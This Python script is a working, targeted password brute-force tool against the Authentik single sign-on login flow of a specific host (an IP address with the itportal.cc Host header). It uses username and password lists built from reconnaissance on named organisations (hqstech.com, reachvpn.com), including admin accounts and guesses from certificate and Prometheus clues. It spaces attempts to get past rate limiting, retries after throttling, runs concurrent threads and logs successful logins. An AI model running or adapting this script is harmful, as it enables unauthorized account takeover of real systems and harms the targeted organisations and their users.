import requests, json, sys, time, os, urllib3, threading
from concurrent.futures import ThreadPoolExecutor, as_completed
urllib3.disable_warnings()

BASE = "https://112.199.81.2:37443/api/v3/flows/executor/default-authentication-flow/"
HOST = "www.itportal.cc"
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"
CHUNK = 4  # rate limit = 4 failed attempts per flow

# Usernames ordered by likelihood of holding a LOCAL password:
#   akadmin = Authentik bootstrap superuser (always has local password)
#   phitdc  = admin identity from cert email / Prometheus basic_auth
#   phit    = Prometheus scrape basic_auth username (fact#164)
usernames = [
    "akadmin", "phitdc", "phit", "admin", "administrator", "root",
    "itadmin", "it", "sysadmin", "support", "info", "helpdesk", "hr", "operator",
    "hqstech", "reachvpn", "itportal", "vpnadmin", "ops", "devops", "monitor",
    "phit@hqstech.com", "phitdc@hqstech.com", "admin@hqstech.com", "akadmin@hqstech.com",
    "administrator@hqstech.com", "root@hqstech.com", "itadmin@hqstech.com", "it@hqstech.com",
    "support@hqstech.com", "info@hqstech.com", "helpdesk@hqstech.com", "hr@hqstech.com",
    "sysadmin@hqstech.com", "operator@hqstech.com", "ops@hqstech.com", "monitor@hqstech.com",
    "phit@reachvpn.com", "phitdc@reachvpn.com", "admin@reachvpn.com", "akadmin@reachvpn.com",
    "itadmin@reachvpn.com", "administrator@reachvpn.com", "root@reachvpn.com",
    "support@reachvpn.com", "info@reachvpn.com", "ops@reachvpn.com", "vpnadmin@reachvpn.com",
]

# Passwords ordered by likelihood (NEW enterprise clues first, then common defaults)
passwords = [
    # NEW enterprise-specific (not in #148's 96-word list)
    "phit", "phit123", "Phit@123", "Phit123", "phit2025", "phit2026",
    "PHITDC", "PHITDC123", "PHITDC@123", "PHITDC@2025", "PHITDC@2026", "PHITDC2025", "PHITDC2026",
    "PHIDC", "PHIDC123", "PHIDC@123", "PHIDC@2025", "PHIDC@2026", "PHIDC2025", "PHIDC2026",
    "PHIDC-IT-PAM", "Phidc-IT-Pam",
    "PAM360", "PAM360@123", "PAM360@2025", "PAM360@2026", "Pam360", "pam360", "pam360123",
    "xiao9", "xiao9@123", "xiao9@2025", "xiao9@2026", "Xiao9", "xiaojiu", "xiaojiu123", "xiaojiu@123",
    "fansky", "fansky123", "Fansky@123", "fansky2025", "Fansky@2025",
    "msjshy", "msjshy123", "Msjshy@123",
    "hqstech.com", "reachvpn.com", "itportal.cc",
    "prometheus", "prometheus123", "grafana", "grafana123", "uptimekuma", "zabbix", "influxdb",
    "monitor", "monitoring", "monitor123",
    "reachvpn@123", "Reachvpn@2025", "Reachvpn@2026",
    "HQSTech@2026", "ITPortal@2025", "ITPortal@2026",
    "phitdc2025", "phitdc2026",
    # previously-covered enterprise words (re-check against new username 'phit' etc.)
    "phitdc", "phitdc123", "Phitdc123", "Phitdc@123",
    "hqstech", "HQSTech", "hqstech123", "Hqstech123", "Hqstech@123", "Hqstech@2025",
    "hqstech2025", "hqstech2026", "HQSTech@2025",
    "reachvpn", "Reachvpn", "reachvpn123", "Reachvpn123", "Reachvpn@123", "reachvpn2025", "reachvpn2026",
    "itportal", "ITPortal", "itportal123", "Itportal123", "Itportal@123", "itportal2025", "itportal2026",
    "authentik", "Authentik", "authentik123", "Authentik@123", "Authentik123", "Akadmin@123",
    # common weak / default
    "admin", "password", "admin123", "administrator", "changeme", "Password1", "P@ssw0rd",
    "P@ssword1", "welcome", "welcome123", "123456", "12345678", "123456789", "1234567890",
    "password123", "qwerty", "qwerty123", "letmein", "root", "toor", "default", "secret", "master",
    "pass123", "test", "test123", "123123", "000000", "111111", "11111111", "abc123",
    "Admin@123", "Admin123", "Admin@1234", "Admin1234", "P@ssw0rd123", "Passw0rd", "Passw0rd!",
    "Password123", "Password1234", "Password@123", "Password@1234", "P@ssw0rd!", "Welcome1",
    "Welcome123", "Welcome@123", "ChangeMe123", "Changeme1!", "Welcome@2025", "Welcome@2026",
]

def dedupe(seq):
    seen = set(); out = []
    for x in seq:
        if x not in seen:
            seen.add(x); out.append(x)
    return out
usernames = dedupe(usernames)
passwords = dedupe(passwords)

FAIL_COMPS = {"ak-stage-password", "ak-stage-access-denied"}

# global throttle state
throttle_lock = threading.Lock()
throttle_until = [0.0]

def is_throttled(j, status):
    """Detect throttling: 405, or flow reset to identification, or access-denied-without-invalid."""
    comp = j.get("component")
    err = j.get("response_errors") or {}
    if status == 405 or status == 429:
        return True
    if comp == "ak-stage-identification" and err.get("uid_field"):
        return True  # flow was reset -> our password POST never got tested
    return False

def is_invalid(err):
    if not err:
        return False
    for e in (err.get("password") or []):
        if isinstance(e, dict) and e.get("code") == "invalid":
            return True
    return False

def cool_down(wait=20.0):
    with throttle_lock:
        throttle_until[0] = max(throttle_until[0], time.time() + wait)

def wait_if_needed():
    while True:
        with throttle_lock:
            rem = throttle_until[0] - time.time()
        if rem <= 0:
            return
        time.sleep(min(rem, 5.0))

def run_chunk(user, pwd_chunk):
    """Try one flow with up to CHUNK passwords. Returns list of (user,pwd,kind,detail)."""
    for attempt_i in range(4):
        wait_if_needed()
        s = requests.Session(); s.verify = False
        try:
            s.get(BASE, headers={"Host": HOST, "User-Agent": UA}, timeout=25)
            s.post(BASE, headers={"Host": HOST, "User-Agent": UA, "Content-Type": "application/json"},
                   data=json.dumps({"component": "ak-stage-identification", "uid_field": user}),
                   allow_redirects=False, timeout=25)
        except Exception as e:
            cool_down()
            if attempt_i == 3:
                return [(user, p, "ERR", f"flow-setup: {e}") for p in pwd_chunk]
            time.sleep(3)
            continue

        out = []
        throttled = False
        for p in pwd_chunk:
            wait_if_needed()
            try:
                r = s.post(BASE, headers={"Host": HOST, "User-Agent": UA, "Content-Type": "application/json"},
                           data=json.dumps({"component": "ak-stage-password", "password": p}),
                           allow_redirects=False, timeout=25)
                j = {}
                try: j = r.json()
                except Exception: j = {}
                comp = j.get("component")
                err = j.get("response_errors") or {}
                status = r.status_code
                if is_throttled(j, status):
                    throttled = True
                    cool_down()
                    out.append((user, p, "THROTTLED", f"status={status} comp={comp}"))
                    continue
                invalid = is_invalid(err)
                if comp in FAIL_COMPS and invalid:
                    out.append((user, p, "fail", comp))
                else:
                    detail = json.dumps({
                        "status": status, "comp": comp,
                        "loc": r.headers.get("Location"),
                        "err": err, "errmsg": j.get("error_message"),
                        "to": j.get("to"), "body": r.text[:500],
                    })
                    out.append((user, p, "INTERESTING", detail))
            except Exception as e:
                cool_down()
                throttled = True
                out.append((user, p, "THROTTLED", str(e)))
        if not throttled:
            return out
        # throttled during this flow; retry the whole chunk after cooldown
        time.sleep(5)
    # after retries, return whatever's unresolved as ERR/THROTTLED
    return out

def main():
    concurrency = int(sys.argv[1]) if len(sys.argv) > 1 else 4
    out_file = "brute_results.txt"
    interesting_file = "interesting.txt"
    progress_file = "brute_progress.log"

    tasks = []
    for u in usernames:
        for i in range(0, len(passwords), CHUNK):
            tasks.append((u, passwords[i:i+CHUNK]))
    total_attempts = len(usernames) * len(passwords)
    print(f"[start] usernames={len(usernames)} passwords={len(passwords)} "
          f"total={total_attempts} chunks={len(tasks)} concurrency={concurrency}", flush=True)

    results = open(out_file, "a")
    inter = open(interesting_file, "a")
    prog = open(progress_file, "a")

    st = threading.Lock()
    state = {"done": 0, "attempts": 0, "interesting": 0, "errors": 0, "throttled": 0, "start": time.time()}

    def report(u, p, kind, detail):
        with st:
            state["attempts"] += 1
            if kind == "INTERESTING":
                state["interesting"] += 1
                line = f"[INTERESTING] user={u} pwd={p} {detail}"
                print(line, flush=True)
                inter.write(line + "\n"); inter.flush()
            elif kind == "ERR":
                state["errors"] += 1
                results.write(f"ERR user={u} pwd={p} {detail}\n")
            elif kind == "THROTTLED":
                state["throttled"] += 1
                results.write(f"THROTTLED user={u} pwd={p} {detail}\n")
            else:
                results.write(f"fail user={u} pwd={p}\n")

    with ThreadPoolExecutor(max_workers=concurrency) as ex:
        futs = {ex.submit(run_chunk, t[0], t[1]): t for t in tasks}
        for fut in as_completed(futs):
            t = futs[fut]
            try:
                res = fut.result()
            except Exception as e:
                res = [(t[0], p, "ERR", str(e)) for p in t[1]]
            for (u, p, kind, detail) in res:
                report(u, p, kind, detail)
            with st:
                state["done"] += 1
                done = state["done"]
            if done % 25 == 0 or done == len(tasks):
                with st:
                    elapsed = time.time() - state["start"]
                    rate = state["attempts"] / elapsed if elapsed > 0 else 0
                    line = (f"[progress] chunks={done}/{len(tasks)} attempts={state['attempts']}/{total_attempts} "
                            f"int={state['interesting']} err={state['errors']} thr={state['throttled']} "
                            f"rate={rate:.2f}/s elapsed={int(elapsed)}s")
                print(line, flush=True)
                prog.write(line + "\n"); prog.flush()

    results.close(); inter.close(); prog.close()
    with st:
        elapsed = time.time() - state["start"]
        print(f"\n=== DONE attempts={state['attempts']}/{total_attempts} int={state['interesting']} "
              f"err={state['errors']} thr={state['throttled']} elapsed={int(elapsed)}s ===", flush=True)

if __name__ == "__main__":
    main()
